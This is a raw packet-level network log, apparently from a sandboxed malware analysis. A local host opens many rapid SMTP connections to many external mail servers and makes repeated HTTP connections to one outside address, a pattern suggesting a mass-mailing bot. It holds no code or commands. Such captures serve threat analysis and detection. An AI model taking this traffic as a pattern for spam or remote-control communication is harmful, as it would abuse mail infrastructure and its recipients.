Aug 24, 2023 19:03:50.590941906 CEST	50289	25	192.168.2.8	207.236.201.26
Aug 24, 2023 19:03:50.611479998 CEST	25	50295	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:50.612261057 CEST	25	50295	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:50.612654924 CEST	50295	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:50.627567053 CEST	25	50302	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:50.627968073 CEST	50302	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:50.632430077 CEST	25	50191	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:50.633167982 CEST	50306	25	192.168.2.8	67.231.157.208
Aug 24, 2023 19:03:50.644983053 CEST	25	50304	67.231.151.196	192.168.2.8
Aug 24, 2023 19:03:50.645116091 CEST	50304	25	192.168.2.8	67.231.151.196
Aug 24, 2023 19:03:50.647557020 CEST	50217	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:50.647624969 CEST	50217	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:50.647624969 CEST	50217	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:50.647663116 CEST	50217	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:50.647663116 CEST	50217	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:50.647663116 CEST	50217	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:50.647706985 CEST	50217	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:50.647706985 CEST	50217	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:50.647737026 CEST	50217	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:50.647737026 CEST	50217	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:50.648035049 CEST	50217	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:50.665507078 CEST	25	50299	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:50.665652990 CEST	50299	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:50.667141914 CEST	50307	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:50.667588949 CEST	25	50298	24.137.218.25	192.168.2.8
Aug 24, 2023 19:03:50.667773008 CEST	50298	25	192.168.2.8	24.137.218.25
Aug 24, 2023 19:03:50.672502995 CEST	50308	25	192.168.2.8	15.222.16.209
Aug 24, 2023 19:03:50.680394888 CEST	50077	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:50.681366920 CEST	50309	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:50.687366962 CEST	25	50303	34.212.80.54	192.168.2.8
Aug 24, 2023 19:03:50.687479019 CEST	50303	25	192.168.2.8	34.212.80.54
Aug 24, 2023 19:03:50.717401028 CEST	50310	25	192.168.2.8	65.20.63.100
Aug 24, 2023 19:03:50.718139887 CEST	25	50294	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:50.718409061 CEST	50294	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:50.718432903 CEST	25	50294	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:50.718516111 CEST	50294	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:50.733174086 CEST	25	50305	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:50.733391047 CEST	50305	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:50.746202946 CEST	80	50309	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:50.746386051 CEST	50309	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:50.750653982 CEST	25	50293	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:50.750852108 CEST	50293	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:50.752988100 CEST	50309	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:50.757361889 CEST	50311	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:50.760719061 CEST	25	50306	67.231.157.208	192.168.2.8
Aug 24, 2023 19:03:50.760816097 CEST	50306	25	192.168.2.8	67.231.157.208
Aug 24, 2023 19:03:50.770463943 CEST	25	50289	207.236.201.26	192.168.2.8
Aug 24, 2023 19:03:50.770493984 CEST	25	50289	207.236.201.26	192.168.2.8
Aug 24, 2023 19:03:50.770510912 CEST	25	50289	207.236.201.26	192.168.2.8
Aug 24, 2023 19:03:50.770611048 CEST	50289	25	192.168.2.8	207.236.201.26
Aug 24, 2023 19:03:50.771342993 CEST	50289	25	192.168.2.8	207.236.201.26
Aug 24, 2023 19:03:50.781316996 CEST	25	50308	15.222.16.209	192.168.2.8
Aug 24, 2023 19:03:50.781558990 CEST	50308	25	192.168.2.8	15.222.16.209
Aug 24, 2023 19:03:50.786648989 CEST	25	50295	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:50.787067890 CEST	25	50298	24.137.218.25	192.168.2.8
Aug 24, 2023 19:03:50.787448883 CEST	50298	25	192.168.2.8	24.137.218.25
Aug 24, 2023 19:03:50.787831068 CEST	25	50295	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:50.787980080 CEST	50295	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:50.788705111 CEST	25	50295	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:50.788796902 CEST	50295	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:50.789601088 CEST	50312	25	192.168.2.8	104.47.70.33
Aug 24, 2023 19:03:50.795592070 CEST	25	50262	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:50.795778036 CEST	50262	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:50.796448946 CEST	25	50275	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:50.801290989 CEST	25	50307	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:50.801536083 CEST	50307	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:50.814668894 CEST	80	50309	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:50.814801931 CEST	80	50309	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:50.814923048 CEST	50309	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:50.819744110 CEST	25	50299	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:50.827863932 CEST	50313	25	192.168.2.8	65.20.63.100
Aug 24, 2023 19:03:50.831597090 CEST	25	50310	65.20.63.100	192.168.2.8
Aug 24, 2023 19:03:50.831712008 CEST	50310	25	192.168.2.8	65.20.63.100
Aug 24, 2023 19:03:50.849419117 CEST	25	50304	67.231.151.196	192.168.2.8
Aug 24, 2023 19:03:50.849981070 CEST	50304	25	192.168.2.8	67.231.151.196
Aug 24, 2023 19:03:50.850395918 CEST	50211	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:50.850528955 CEST	50211	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:50.850584984 CEST	50211	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:50.850619078 CEST	50211	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:50.850637913 CEST	50211	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:50.850667953 CEST	50211	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:50.850702047 CEST	50211	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:50.850734949 CEST	50211	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:50.850755930 CEST	50211	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:50.850791931 CEST	50211	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:50.850819111 CEST	50211	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:50.851810932 CEST	25	50299	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:50.851843119 CEST	25	50299	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:50.851866961 CEST	25	50299	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:50.852081060 CEST	50299	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:50.852344036 CEST	50299	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:50.853172064 CEST	25	50294	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:50.879599094 CEST	25	50303	34.212.80.54	192.168.2.8
Aug 24, 2023 19:03:50.879642010 CEST	25	50303	34.212.80.54	192.168.2.8
Aug 24, 2023 19:03:50.879734039 CEST	50303	25	192.168.2.8	34.212.80.54
Aug 24, 2023 19:03:50.879825115 CEST	50303	25	192.168.2.8	34.212.80.54
Aug 24, 2023 19:03:50.882308960 CEST	25	50311	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:50.882461071 CEST	50311	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:50.894912958 CEST	25	50301	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:50.895054102 CEST	50301	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:50.896416903 CEST	25	50312	104.47.70.33	192.168.2.8
Aug 24, 2023 19:03:50.896512032 CEST	50312	25	192.168.2.8	104.47.70.33
Aug 24, 2023 19:03:50.900794029 CEST	50314	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:50.902782917 CEST	25	50305	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:50.902931929 CEST	50305	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:50.903331041 CEST	25	50298	24.137.218.25	192.168.2.8
Aug 24, 2023 19:03:50.909357071 CEST	25	50268	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:50.923643112 CEST	25	50308	15.222.16.209	192.168.2.8
Aug 24, 2023 19:03:50.923784018 CEST	50308	25	192.168.2.8	15.222.16.209
Aug 24, 2023 19:03:50.925854921 CEST	50315	25	192.168.2.8	52.71.57.184
Aug 24, 2023 19:03:50.933480978 CEST	25	50293	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:50.933554888 CEST	50293	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:50.934715033 CEST	25	50308	15.222.16.209	192.168.2.8
Aug 24, 2023 19:03:50.934787035 CEST	50308	25	192.168.2.8	15.222.16.209
Aug 24, 2023 19:03:50.934995890 CEST	25	50300	142.58.200.9	192.168.2.8
Aug 24, 2023 19:03:50.935097933 CEST	50300	25	192.168.2.8	142.58.200.9
Aug 24, 2023 19:03:50.937515020 CEST	50316	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:50.944026947 CEST	50298	25	192.168.2.8	24.137.218.25
Aug 24, 2023 19:03:50.944339037 CEST	25	50313	65.20.63.100	192.168.2.8
Aug 24, 2023 19:03:50.944492102 CEST	50313	25	192.168.2.8	65.20.63.100
Aug 24, 2023 19:03:50.952410936 CEST	25	50307	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:50.952580929 CEST	50307	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:50.958612919 CEST	25	50295	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:50.958765984 CEST	50317	25	192.168.2.8	211.248.98.39
Aug 24, 2023 19:03:50.958837032 CEST	25	50275	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:50.959089994 CEST	50275	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:50.963490963 CEST	25	50306	67.231.157.208	192.168.2.8
Aug 24, 2023 19:03:50.963649035 CEST	50306	25	192.168.2.8	67.231.157.208
Aug 24, 2023 19:03:50.969099998 CEST	25	50299	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:50.969794989 CEST	25	50310	65.20.63.100	192.168.2.8
Aug 24, 2023 19:03:50.969906092 CEST	25	50310	65.20.63.100	192.168.2.8
Aug 24, 2023 19:03:50.970014095 CEST	50310	25	192.168.2.8	65.20.63.100
Aug 24, 2023 19:03:50.971155882 CEST	50310	25	192.168.2.8	65.20.63.100
Aug 24, 2023 19:03:50.975115061 CEST	25	50304	67.231.151.196	192.168.2.8
Aug 24, 2023 19:03:50.975172997 CEST	25	50304	67.231.151.196	192.168.2.8
Aug 24, 2023 19:03:50.975260019 CEST	50304	25	192.168.2.8	67.231.151.196
Aug 24, 2023 19:03:50.975307941 CEST	50304	25	192.168.2.8	67.231.151.196
Aug 24, 2023 19:03:50.975424051 CEST	25	50217	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:50.975487947 CEST	25	50217	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:50.975529909 CEST	25	50217	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:50.975569963 CEST	25	50217	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:50.975611925 CEST	25	50217	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:50.975653887 CEST	25	50217	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:50.975697041 CEST	25	50217	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:50.975738049 CEST	25	50217	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:50.975779057 CEST	25	50217	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:50.975879908 CEST	25	50217	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:50.975922108 CEST	25	50217	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:50.990852118 CEST	50077	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:50.993654966 CEST	25	50302	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:50.994091988 CEST	50302	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:50.994491100 CEST	25	50267	184.106.54.1	192.168.2.8
Aug 24, 2023 19:03:50.994774103 CEST	50267	25	192.168.2.8	184.106.54.1
Aug 24, 2023 19:03:51.008407116 CEST	25	50312	104.47.70.33	192.168.2.8
Aug 24, 2023 19:03:51.008657932 CEST	50312	25	192.168.2.8	104.47.70.33
Aug 24, 2023 19:03:51.012116909 CEST	25	50311	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:51.012336969 CEST	50311	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:51.017244101 CEST	25	50314	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:51.017410994 CEST	50314	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:51.027297020 CEST	50318	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:51.030894041 CEST	25	50301	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:51.030937910 CEST	25	50301	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:51.031045914 CEST	50301	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:51.032316923 CEST	25	50308	15.222.16.209	192.168.2.8
Aug 24, 2023 19:03:51.070389986 CEST	25	50303	34.212.80.54	192.168.2.8
Aug 24, 2023 19:03:51.073594093 CEST	25	50305	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:51.074423075 CEST	25	50305	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:51.074642897 CEST	50305	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:51.074991941 CEST	25	50316	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:51.075166941 CEST	50316	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:51.076790094 CEST	25	50262	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:51.084816933 CEST	25	50310	65.20.63.100	192.168.2.8
Aug 24, 2023 19:03:51.084938049 CEST	25	50313	65.20.63.100	192.168.2.8
Aug 24, 2023 19:03:51.084974051 CEST	25	50313	65.20.63.100	192.168.2.8
Aug 24, 2023 19:03:51.085122108 CEST	50313	25	192.168.2.8	65.20.63.100
Aug 24, 2023 19:03:51.085211039 CEST	50313	25	192.168.2.8	65.20.63.100
Aug 24, 2023 19:03:51.089579105 CEST	25	50307	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:51.089610100 CEST	25	50307	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:51.089771032 CEST	50307	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:51.092804909 CEST	25	50306	67.231.157.208	192.168.2.8
Aug 24, 2023 19:03:51.092833042 CEST	25	50306	67.231.157.208	192.168.2.8
Aug 24, 2023 19:03:51.092930079 CEST	50306	25	192.168.2.8	67.231.157.208
Aug 24, 2023 19:03:51.093065023 CEST	50306	25	192.168.2.8	67.231.157.208
Aug 24, 2023 19:03:51.093910933 CEST	25	50300	142.58.200.9	192.168.2.8
Aug 24, 2023 19:03:51.094105959 CEST	50300	25	192.168.2.8	142.58.200.9
Aug 24, 2023 19:03:51.105659962 CEST	25	50267	184.106.54.1	192.168.2.8
Aug 24, 2023 19:03:51.115520954 CEST	25	50312	104.47.70.33	192.168.2.8
Aug 24, 2023 19:03:51.116394997 CEST	25	50312	104.47.70.33	192.168.2.8
Aug 24, 2023 19:03:51.116718054 CEST	50312	25	192.168.2.8	104.47.70.33
Aug 24, 2023 19:03:51.126636982 CEST	25	50302	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:51.126802921 CEST	25	50302	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:51.126959085 CEST	50302	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:51.137722969 CEST	25	50311	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:51.138020992 CEST	50311	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:51.162278891 CEST	25	50318	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:51.162446976 CEST	50318	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:51.164346933 CEST	25	50301	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:51.164462090 CEST	25	50301	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:51.164561033 CEST	50301	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:51.164561033 CEST	50301	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:51.169799089 CEST	25	50314	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:51.170042992 CEST	50314	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:51.185187101 CEST	25	50211	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:51.185240984 CEST	25	50211	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:51.185264111 CEST	25	50211	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:51.185287952 CEST	25	50211	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:51.185309887 CEST	25	50211	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:51.185333967 CEST	25	50211	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:51.192272902 CEST	50319	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:51.194067955 CEST	50231	25	192.168.2.8	198.58.121.58
Aug 24, 2023 19:03:51.194118023 CEST	50231	25	192.168.2.8	198.58.121.58
Aug 24, 2023 19:03:51.194118023 CEST	50231	25	192.168.2.8	198.58.121.58
Aug 24, 2023 19:03:51.194370031 CEST	50231	25	192.168.2.8	198.58.121.58
Aug 24, 2023 19:03:51.194389105 CEST	50231	25	192.168.2.8	198.58.121.58
Aug 24, 2023 19:03:51.194418907 CEST	50231	25	192.168.2.8	198.58.121.58
Aug 24, 2023 19:03:51.194468021 CEST	50231	25	192.168.2.8	198.58.121.58
Aug 24, 2023 19:03:51.194605112 CEST	50231	25	192.168.2.8	198.58.121.58
Aug 24, 2023 19:03:51.194634914 CEST	50231	25	192.168.2.8	198.58.121.58
Aug 24, 2023 19:03:51.194660902 CEST	50231	25	192.168.2.8	198.58.121.58
Aug 24, 2023 19:03:51.194674969 CEST	50231	25	192.168.2.8	198.58.121.58
Aug 24, 2023 19:03:51.195477962 CEST	25	50262	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:51.198827982 CEST	25	50313	65.20.63.100	192.168.2.8
Aug 24, 2023 19:03:51.212575912 CEST	25	50267	184.106.54.1	192.168.2.8
Aug 24, 2023 19:03:51.212635994 CEST	25	50267	184.106.54.1	192.168.2.8
Aug 24, 2023 19:03:51.212799072 CEST	50267	25	192.168.2.8	184.106.54.1
Aug 24, 2023 19:03:51.212877989 CEST	50267	25	192.168.2.8	184.106.54.1
Aug 24, 2023 19:03:51.218815088 CEST	25	50317	211.248.98.39	192.168.2.8
Aug 24, 2023 19:03:51.218950033 CEST	50317	25	192.168.2.8	211.248.98.39
Aug 24, 2023 19:03:51.223568916 CEST	25	50312	104.47.70.33	192.168.2.8
Aug 24, 2023 19:03:51.224280119 CEST	25	50307	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:51.224450111 CEST	50307	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:51.224684954 CEST	25	50312	104.47.70.33	192.168.2.8
Aug 24, 2023 19:03:51.224734068 CEST	25	50307	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:51.224814892 CEST	50307	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:51.225250959 CEST	50312	25	192.168.2.8	104.47.70.33
Aug 24, 2023 19:03:51.225254059 CEST	50224	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:51.225255013 CEST	50224	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:51.225343943 CEST	50224	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:51.225343943 CEST	50224	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:51.225343943 CEST	50224	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:51.225343943 CEST	50224	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:51.225343943 CEST	50224	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:51.225343943 CEST	50224	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:51.225344896 CEST	50224	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:51.225344896 CEST	50224	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:51.225410938 CEST	50224	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:51.225816965 CEST	25	50312	104.47.70.33	192.168.2.8
Aug 24, 2023 19:03:51.225913048 CEST	50312	25	192.168.2.8	104.47.70.33
Aug 24, 2023 19:03:51.227798939 CEST	50320	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:51.240921021 CEST	50262	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:51.242450953 CEST	25	50305	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:51.243592024 CEST	25	50305	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:51.243755102 CEST	50305	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:51.244029045 CEST	25	50268	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:51.244129896 CEST	50268	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:51.244869947 CEST	25	50305	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:51.244945049 CEST	50305	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:51.246326923 CEST	50321	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:51.257070065 CEST	25	50320	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:51.257246017 CEST	50320	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:51.259998083 CEST	25	50302	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:51.260149956 CEST	25	50302	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:51.260159016 CEST	50302	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:51.260231018 CEST	50302	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:51.263544083 CEST	25	50311	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:51.263683081 CEST	50311	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:51.283101082 CEST	25	50314	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:51.283813953 CEST	25	50314	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:51.284018993 CEST	50314	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:51.284945965 CEST	25	50230	209.222.82.255	192.168.2.8
Aug 24, 2023 19:03:51.285103083 CEST	50230	25	192.168.2.8	209.222.82.255
Aug 24, 2023 19:03:51.285618067 CEST	25	50321	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:51.285759926 CEST	50321	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:51.287708998 CEST	25	50320	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:51.287858963 CEST	50320	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:51.289537907 CEST	25	50275	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:51.297449112 CEST	25	50301	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:51.297480106 CEST	25	50318	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:51.297753096 CEST	50318	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:51.305191040 CEST	25	50217	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:51.305228949 CEST	25	50217	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:51.305398941 CEST	50217	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:51.305398941 CEST	50217	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:51.316744089 CEST	25	50320	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:51.317234993 CEST	25	50319	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:51.317384958 CEST	50319	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:51.320693970 CEST	25	50320	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:51.324965000 CEST	25	50316	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:51.327220917 CEST	25	50321	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:51.328960896 CEST	50320	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:51.328984976 CEST	50316	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:51.329018116 CEST	50321	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:51.329911947 CEST	50322	25	192.168.2.8	209.193.72.53
Aug 24, 2023 19:03:51.332155943 CEST	25	50312	104.47.70.33	192.168.2.8
Aug 24, 2023 19:03:51.335906982 CEST	25	50231	198.58.121.58	192.168.2.8
Aug 24, 2023 19:03:51.336114883 CEST	25	50231	198.58.121.58	192.168.2.8
Aug 24, 2023 19:03:51.336142063 CEST	25	50231	198.58.121.58	192.168.2.8
Aug 24, 2023 19:03:51.336328030 CEST	25	50231	198.58.121.58	192.168.2.8
Aug 24, 2023 19:03:51.336421013 CEST	25	50231	198.58.121.58	192.168.2.8
Aug 24, 2023 19:03:51.337143898 CEST	25	50231	198.58.121.58	192.168.2.8
Aug 24, 2023 19:03:51.337279081 CEST	50231	25	192.168.2.8	198.58.121.58
Aug 24, 2023 19:03:51.339333057 CEST	50231	25	192.168.2.8	198.58.121.58
Aug 24, 2023 19:03:51.343400002 CEST	50323	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:51.353908062 CEST	50324	25	192.168.2.8	65.20.63.100
Aug 24, 2023 19:03:51.358441114 CEST	25	50320	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:51.358572960 CEST	50320	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:51.358649969 CEST	25	50307	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:51.368760109 CEST	25	50321	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:51.369549036 CEST	25	50321	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:51.369689941 CEST	50321	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:51.372164011 CEST	25	50323	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:51.372304916 CEST	50323	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:51.389467955 CEST	25	50311	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:51.389792919 CEST	50311	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:51.392553091 CEST	25	50320	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:51.392576933 CEST	25	50302	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:51.397650957 CEST	25	50314	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:51.397831917 CEST	25	50314	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:51.397932053 CEST	50314	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:51.399286985 CEST	50314	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:51.401575089 CEST	50325	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:51.402626038 CEST	25	50323	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:51.402905941 CEST	50323	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:51.403045893 CEST	25	50297	131.162.224.6	192.168.2.8
Aug 24, 2023 19:03:51.403215885 CEST	50297	25	192.168.2.8	131.162.224.6
Aug 24, 2023 19:03:51.409106016 CEST	25	50321	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:51.410455942 CEST	25	50321	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:51.410609961 CEST	50321	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:51.411617994 CEST	25	50305	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:51.412292004 CEST	25	50321	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:51.412390947 CEST	50321	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:51.431942940 CEST	25	50323	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:51.432437897 CEST	25	50318	98.136.96.74	192.168.2.8
